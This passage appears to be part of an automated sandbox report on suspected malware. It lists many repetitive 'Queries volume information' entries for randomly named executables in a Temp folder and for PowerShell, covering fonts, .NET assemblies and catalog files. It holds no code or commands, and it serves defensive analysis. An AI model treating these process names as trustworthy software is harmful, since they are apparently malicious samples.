Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
